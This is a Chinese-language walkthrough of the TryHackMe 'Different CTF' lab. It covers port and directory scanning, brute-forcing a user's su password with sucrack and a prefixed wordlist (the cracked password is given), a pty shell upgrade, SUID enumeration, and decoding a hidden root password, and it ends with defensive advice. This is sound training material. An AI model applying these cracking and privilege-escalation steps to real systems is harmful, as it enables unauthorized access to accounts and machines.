Different CTF
TryHackMe
字数 1459 2025-10-26 18:21:34
TryHackMe渗透测试实战教学文档
概述
本教学文档基于TryHackMe平台的CTF挑战,详细记录了从信息收集到最终获取root权限的完整渗透测试过程。文档将按照渗透测试的标准流程组织内容,涵盖Web安全、密码破解、权限提升等关键技术点。
环境准备
- 目标系统:TryHackMe靶机
- 工具准备:sucrack、010 Editor、ltrace、标准Linux工具
渗透测试过程
1. 信息收集与侦察
1.1 端口扫描与服务识别
# 使用nmap进行端口扫描
nmap -sS -sV -p- <target_ip>
发现开放端口:
- 80/tcp: HTTP服务
- 21/tcp: FTP服务
1.2 Web目录枚举
# 使用dirb或gobuster进行目录扫描
gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirb/common.txt
2. Web应用渗透
2.1 初始访问
访问80端口Web服务,发现以下关键信息:
- 主站页面包含有用线索
- 存在子域名或虚拟主机
2.2 文件发现
在/var/www/html目录下发现关键文件:
# 通过Web访问或目录遍历发现
/var/www/html/wwe3bbfla4g.txt # 任务一标志文件
3. 用户枚举与密码破解
3.1 用户发现
通过系统侦察发现存在用户:
- hakanbey(目标用户)
3.2 密码破解准备
工具准备:
下载sucrack工具:
# 从Arch Linux仓库获取
wget https://archlinux.pkgs.org/rolling/archstrike-x86_64/sucrack-1.2.3-3-x86_64.pkg.tar.xz
文件上传方法:
- FTP上传(如果FTP服务允许)
- Apache Web目录上传(如果具有写权限)
3.3 密码字典优化
基于情报"密码都有123nada"前缀,优化密码字典:
# 使用sed命令为密码字典添加前缀
sed 's/^/123nada/' password.txt > new_password.txt
3.4 执行密码破解
# 使用sucrack进行密码破解
./sucrack -u hakanbey -w 100 -b 500 new_password.txt
# 参数说明:
# -u: 指定用户名
# -w: 工作线程数
# -b: 每个进程尝试的密码数
破解结果:
成功获取hakanbey用户密码:123adanasubaru
4. 权限提升:hakanbey → root
4.1 初始访问优化
提升shell交互体验:
# 升级到完全交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 切换用户
su hakanbey
# 输入密码:123adanasubaru
4.2 寻找提权向量
方法一:SUID权限文件查找
find / -perm -u=s -type f 2>/dev/null
方法二:替代查找命令
find / -perm /4000 2>/dev/null
4.3 分析可疑二进制文件
发现可疑SUID二进制文件:/usr/bin/binary
使用ltrace进行动态分析:
ltrace /usr/bin/binary
交互过程:
- 程序提示输入字符串
- 输入:
warzoneinadana - 输出:获得一张图片的提示
4.4 十六进制分析
使用010 Editor分析:
- 重点关注00000020行附近的数据
- 发现编码的root密码线索
4.5 密码解码过程
解码流程:
- From Hex: 将十六进制数据转换为可读格式
- Base85解码: 将Base85编码的数据解码为明文
示例命令:
# Python解码示例
import base64
# 假设从十六进制分析获得的数据
hex_data = "..." # 实际十六进制数据
decoded_hex = bytes.fromhex(hex_data)
base85_decoded = base64.b85decode(decoded_hex)
root_password = base85_decoded.decode('utf-8')
5. 最终权限获取
使用解码获得的root密码完成权限提升:
su root
# 输入解码获得的root密码
关键技术总结
5.1 密码破解技巧
- 字典优化: 基于目标特征(如已知前缀)优化密码字典
- 工具选择: sucrack专门用于su密码破解,效率较高
- 参数调优: 合理设置线程数和批量大小提升破解速度
5.2 权限提升方法
- SUID利用: 查找具有SUID权限的可执行文件
- 二进制分析: 使用ltrace进行动态跟踪分析
- 数据隐写: 从二进制文件中提取隐藏信息
5.3 编码识别与解码
- 十六进制分析: 使用专业工具(010 Editor)进行深度分析
- 编码识别: 识别Base85等不常见编码格式
- 解码链: 建立正确的解码顺序(Hex → Base85)
防御建议
6.1 针对已发现漏洞的防护措施
6.1.1 密码安全
# 实施强密码策略
# 禁用常见密码模式
# 定期更换密码
6.1.2 文件权限管理
# 定期审查SUID文件
find / -perm -u=s -type f 2>/dev/null
# 移除不必要的SUID权限
chmod u-s /path/to/file
6.1.3 二进制安全
- 避免在二进制文件中硬编码敏感信息
- 实施代码审查和安全测试
- 使用代码混淆工具保护敏感逻辑
附录:工具命令速查
信息收集
nmap -sS -sV -p- <target_ip>
gobuster dir -u http://<target_ip> -w wordlist.txt
密码破解
sed 's/^/prefix/' wordlist.txt > new_wordlist.txt
./sucrack -u username -w 50 -b 200 wordlist.txt
权限提升
find / -perm -u=s -type f 2>/dev/null
ltrace /path/to/binary
编码解码
# Hex解码
bytes.fromhex(hex_string)
# Base85解码
base64.b85decode(encoded_data)
本教学文档完整记录了从初始访问到最终获取root权限的全过程,涵盖了现代渗透测试中的关键技术和分析方法。通过系统性地应用这些技术,安全专业人员可以更好地理解系统漏洞并实施有效的防护措施。